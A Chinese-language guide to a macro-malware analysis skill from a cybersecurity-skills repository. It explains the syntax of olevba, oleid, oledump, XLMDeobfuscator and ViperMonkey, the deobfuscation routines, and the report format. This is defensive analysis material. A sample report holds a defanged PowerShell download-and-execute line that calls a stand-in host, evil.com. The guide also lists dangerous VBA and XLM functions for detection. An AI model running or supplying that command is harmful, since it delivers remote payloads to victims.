Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南
2026/9/11 5:00:22 网站建设 项目流程

Anthropic-Cybersecurity-Skills 仓库 Office 宏恶意软件分析工具 API 参考与实战指南

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本篇指南围绕 Anthropic-Cybersecurity-Skills 仓库中analyzing-macro-malware-in-office-documents技能的 api-reference.md 展开,系统讲解 olevba、oleid、oledump.py、XLMDeobfuscator 与 ViperMonkey 等工具的命令行语法、Python API 与关键输出结构,并融合该技能的完整分析工作流与仓库配套 agent.py 源码级实现,帮助你掌握从文档分流(triage)、VBA 提取、去混淆到 IOC 提取的完整 Office 恶意文档分析闭环。

技能定位与框架映射

该技能面向 AI Agent 的恶意文档取证场景,其元数据定义在 SKILL.md 的 frontmatter 中:

  • 触发场景:邮件安全网关标记的可疑 Office 文档(.doc/.docm/.xls/.xlsm/.ppt)、钓鱼攻击投递的武器化文档、VBA 宏提取、混淆 VBA 攻击链还原,以及 DDE / ActiveX / 远程模板注入等非宏向量判定。
  • 框架映射
    • MITRE ATT&CK:T1137.001(Office 应用启动)、T1204.002(用户执行:恶意文件)、T1059.005(命令与脚本解释器:Visual Basic)、T1027(混淆文件或信息);
    • NIST CSF 2.0:DE.AE-02RS.AN-03ID.RA-01DE.CM-01
    • MITRE ATLAS:AML.T0068AML.T0067
    • MITRE D3FEND:文件元数据一致性校验、应用协议命令分析、标识符分析、内容格式转换、消息分析。

下文所有工具示例均以document.docm/suspect.docm等占位文件名为分析对象。

一、oletools(olevba):VBA 宏提取与静态分析

olevba 是 oletools 工具包的核心组件,用于解析 OLE/复合文档结构、提取 VBA 源码,并基于关键词规则检测可疑函数与 IOC。分析环境要求 Python 3.8+,安装方式为pip install oletools

CLI 语法

olevba document.docm # 完整分析(默认输出全部分区) olevba --decode --deobf document.docm # 解码 + 去混淆(还原 Chr()/串联等常见混淆) olevba --code document.docm # 仅提取 VBA 源码(适合重定向到文件) olevba --json document.docm # JSON 结构化输出(便于 Agent/脚本消费) olevba --reveal document.docm # 揭示隐藏内容(如隐藏字符串)

典型组合用法:先用--code将提取的 VBA 源码落盘,再用--decode --deobf还原混淆层,最后用--json生成机器可读结果。

输出分区

olevba 的分析报告按类型分为以下分区,每个分区对应一类威胁线索:

Section内容
AutoExec自动执行触发器(AutoOpen、Document_Open 等)
Suspicious危险函数(Shell、WScript、CreateObject 等)
IOC提取的指示器(URL、IP、文件路径)
Hex String解码后的十六进制编码字符串

Python API

olevba 提供VBA_Parser类,可在脚本或 Agent 中直接调用:

from oletools.olevba import VBA_Parser vba = VBA_Parser("document.docm") if vba.detect_vba_macros(): for (fn, stream, vba_fn, code) in vba.extract_macros(): print(code) for (kw_type, keyword, desc) in vba.analyze_macros(): print(f"{kw_type}: {keyword}") vba.close()

仓库配套脚本 agent.py 正是基于这一 API 实现的:extract_vba_macros()使用detect_vba_macros()+extract_macros()逐条取出宏源码并记录流路径与代码长度;analyze_vba_suspicious()使用analyze_macros()将结果按AutoExec/Suspicious/IOC/Hex String四类分流,与上表分区一一对应。

二、oleid:文档能力识别与风险预判

在深入提取宏之前,先用 oleid 对文档做快速能力评估,判断是否值得继续分析:

oleid document.docm

指示器与风险值

Indicator风险值
VBA MacrosTrue/False
XLM MacrosTrue/False
External RelationshipsTrue/False(远程模板等外部引用)
ObjectPoolTrue/False(内嵌对象)
FlashTrue/False(SWF 对象)

SKILL.md 的 Step 1 将 oleid 作为首要 triage 步骤,并结合 oledump.py 做 OLE 流级确认。agent.py 中triage_document()通过oleid.OleID(filepath).check()遍历全部指示器,输出每个指示器的value(取值)、risk(风险等级)与description(说明),实现同样的能力画像。

三、oledump.py:OLE 流级分析

Didier Stevens 的 oledump.py 直接作用于 OLE 复合文档的流结构,适合定位宏所在流、提取原始字节,并支持插件扩展。

CLI 语法

oledump.py document.docm # 列出所有 OLE 流 oledump.py -s 8 -v document.docm # 提取并显示第 8 号流(流号以列表输出为准) oledump.py -p plugin_vba_dco document.docm # VBA 解压/反编译插件 oledump.py -p plugin_msg.py document.msg # MSG 邮件文件解析插件

流标记

流列表中每行开头的标记字符表示流内容类型:

Marker含义
M包含 VBA 宏
m包含宏属性
O包含 OLE 对象

SKILL.md 明确指出:标记为M的流含 VBA 宏、m的流含宏属性,这是判断"宏藏在哪个流"的关键依据。plugin_vba_dco可对压缩的 VBA 源流(CompressedContainer)做解压还原,plugin_biff.py则用于 XLM(BIFF 格式)宏解析。

四、XLMDeobfuscator:Excel 4.0 宏去混淆

Excel 4.0(XLM)宏是早于 VBA 的遗留宏语言,存储在隐藏工作表(宏表)中,常被传统 VBA 检测工具漏报。该技能将其作为独立分析分支,安装方式为pip install xlmdeobfuscator

CLI 语法

xlmdeobfuscator -f document.xlsm xlmdeobfuscator -f document.xlsm --output-format json

危险 XLM 函数

Function用途
EXEC()执行 Shell 命令
CALL()调用 DLL 函数
REGISTER()注册 DLL 函数
URLDownloadToFileA从 URL 下载文件

SKILL.md 的 Step 4 扩展了完整监测清单:除上表外,还需关注ALERT()(社交工程弹窗)、HALT()(终止执行)、GOTO()(控制流跳转)、IF()(条件执行)等控制流函数。注意olevba --xlm suspect.xlsm可先用于检测 XLM 宏是否存在,再用 XLMDeobfuscator 还原公式。

五、VBA 自动执行触发器

宏恶意软件的首要特征是无需用户主动操作即可执行。下表为需要优先排查的入口点:

Trigger应用
Auto_Open/AutoOpenWord
Document_OpenWord
Workbook_OpenExcel
Auto_CloseWord
AutoExecWord

在分析报告中,找到入口点后应沿其调用链向下追踪(如AutoOpen() -> Module1.RunPayload()),逐一还原辅助函数的作用。

六、VBA 可疑函数速查表

宏代码中出现下列 API 时,通常意味着下载执行、进程创建、文件写入或环境侦察:

Function风险
Shell()命令执行
WScript.ShellWindows 脚本宿主
CreateObject()COM 对象实例化
URLDownloadToFile文件下载
MSXML2.XMLHTTPHTTP 请求
ADODB.Stream二进制文件写入
CallByName间接方法调用
Environ()环境变量访问

SKILL.md 补充了Shell.ApplicationWScript.Shell.Run/ExecCreateObject("WScript.Shell")、PowerShell 执行等变体。olevba 的Suspicious分区会命中这些函数,agent.py 的分析结果中也会以[!] Suspicious: <keyword> - <description>形式打印。

七、ViperMonkey:VBA 行为仿真

对高度混淆、人工追踪成本过高的宏,可交给 ViperMonkey 在沙箱中仿真执行以观察真实行为:

vmonkey document.docm # 仿真执行并输出行为 vmonkey --iocs document.docm # 仅提取 IOCs

ViPerMonkey 通过虚拟执行 VBA 语句还原字符串拼接与 API 调用序列,是静态去混淆失败时的补充手段。

八、源码级去混淆链路:agent.py 实现解读

api-reference.md 只给出工具语法,而仓库 agent.py 提供了与 SKILL.md Step 3 一致的完整去混淆实现,可作为模板直接复用:

  • deobfuscate_chr_calls():正则Chr$?\((\d+)\)ChrW$?\((\d+)\)将数字还原为字符(如Chr(104) & Chr(116)"ht");
  • deobfuscate_concatenation():移除"abc" & "def"之间的&拼接符;
  • deobfuscate_strreverse():还原StrReverse("exe.daolnwod")"download.exe"
  • deobfuscate_replace():展开Replace("Powxershxell", "x", "")"PowerShell"
  • full_deobfuscation():按 Chr → 拼接 → 反转 → Replace 的顺序级联应用全部规则;
  • extract_urls_from_code():用https?://[^\s"'<>]+从还原后的代码中抽取下载 URL。

此外,check_dde()check_external_relationships()复现了 SKILL.md Step 5 的非宏向量检测:解析 OOXML 内 zip 的.xml/.rels,匹配DDEAUTODDEattachedTemplateTarget=等特征,输出 DDE 命令与远程模板 URL。generate_report()则汇总文件哈希、triage 结果、宏数量、自动执行触发器、可疑函数、IOC、URL 与 DDE 发现,生成 JSON 报告,与 SKILL.md 的报告模板结构一致。

九、标准报告输出格式

SKILL.md 给出了面向分析师与 Agent 的统一报告模板,建议按此结构沉淀每一次分析结论:

OFFICE MACRO MALWARE ANALYSIS ================================ Document: invoice_q3_2025.docm SHA-256: e3b0c44298fc1c149afbf4c8996fb924... File Type: Microsoft Word Document (OOXML with macros) Author: Administrator Creation Date: 2025-09-10 14:23:00 MACRO ANALYSIS Type: VBA Macro Trigger: AutoOpen() Streams: 3 VBA streams (ThisDocument, Module1, Module2) DEOBFUSCATED EXECUTION CHAIN 1. AutoOpen() -> Calls Module1.RunPayload() 2. RunPayload() builds command string via Chr() concatenation 3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... 4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1') SOCIAL ENGINEERING LURE - Document displays fake "Protected Document" image - Instructs user to "Enable Content" to view the document - Content is blurred/hidden until macros execute EXTRACTED IOCs Download URL: hxxp://evil[.]com/payload.ps1 C2 Domain: evil[.]com IP Address: 185.220.101[.]42 User-Agent: PowerShell (default WebClient) MITRE ATT&CK T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell T1059.005 Command and Scripting Interpreter: Visual Basic

报告应包含:文档元数据、宏类型(VBA/XLM/DDE/远程模板)、自动执行触发器、去混淆后的关键代码、二级载荷下载 URL、执行方式、社交工程诱饵描述、提取的 IOC(URL/域名/IP/文件哈希)以及针对该文档模式的 YARA 规则。

十、安全注意事项

  • 分析环境必须是未安装 Microsoft Office 的隔离虚拟机,防止误打开文档触发宏执行;文档渲染推荐 LibreOffice(默认不执行 VBA 宏)。
  • 陷阱提醒:不要在 Office 中"快速查看"疑似文档;不要遗漏 UserForms 事件处理器中的 VBA 代码;不要忽略文档元数据中的攻击者指纹(作者名、模板名);同一文档可能同时包含 VBA 与 XLM 宏,需分别检测。
  • 输出 IOC 时建议对 URL 做去活性化(defang,如hxxp://[.])以防误点击,本技能报告模板即采用此惯例。

延伸阅读

  • 技能完整工作流:SKILL.md
  • 配套分析 Agent 源码:scripts/agent.py
  • 本文依据的 API 参考原文:references/api-reference.md
  • 技能框架覆盖总览:mappings/mitre-attack/coverage-summary.md

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询